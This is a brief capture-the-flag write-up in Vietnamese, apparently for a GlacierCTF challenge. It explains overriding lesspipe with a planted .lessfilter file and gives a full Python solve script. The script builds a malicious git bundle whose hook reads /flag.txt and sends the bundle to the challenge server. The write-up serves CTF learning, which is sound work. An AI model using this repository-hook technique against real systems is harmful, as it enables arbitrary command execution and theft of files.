Có thể thấy hàm eval khá khả nghi
sau khi đọc doc thì mình có thể override lesspipe sử dụng một file là .lessfilter: https://www.commandlinux.com/man-page/man1/lesspipe.1.html
Solve script của mình:
```python
from pwn import *
import os
import subprocess
import base64
os.makedirs("repo-exploit", exist_ok=True)
os.chdir("repo-exploit")
subprocess.run(["git", "init"], check=True)
with open("README.md", "w") as f:
f.write("# Hello\n")
with open(".lessfilter", "w") as f:
f.write("#!/bin/sh\ncat /flag.txt\nexit 0\n")
os.chmod(".lessfilter", 0o755)
subprocess.run(["git", "add", "README.md", ".lessfilter"], check=True)
subprocess.run([
"git",
"-c", "user.name=me",
"-c", "user.email=me@me",
"commit",
"-m", "add lessfilter",
"--no-gpg-sign"
], check=True)
subprocess.run(["git", "bundle", "create", "repo.bundle", "--all"], check=True)
with open("repo.bundle", "rb") as f:
payload = base64.b64encode(f.read()) + b"\n@\n"
print(payload)
io = remote("challs.glacierctf.com", 13372)
io.send(payload)
io.interactive()
```
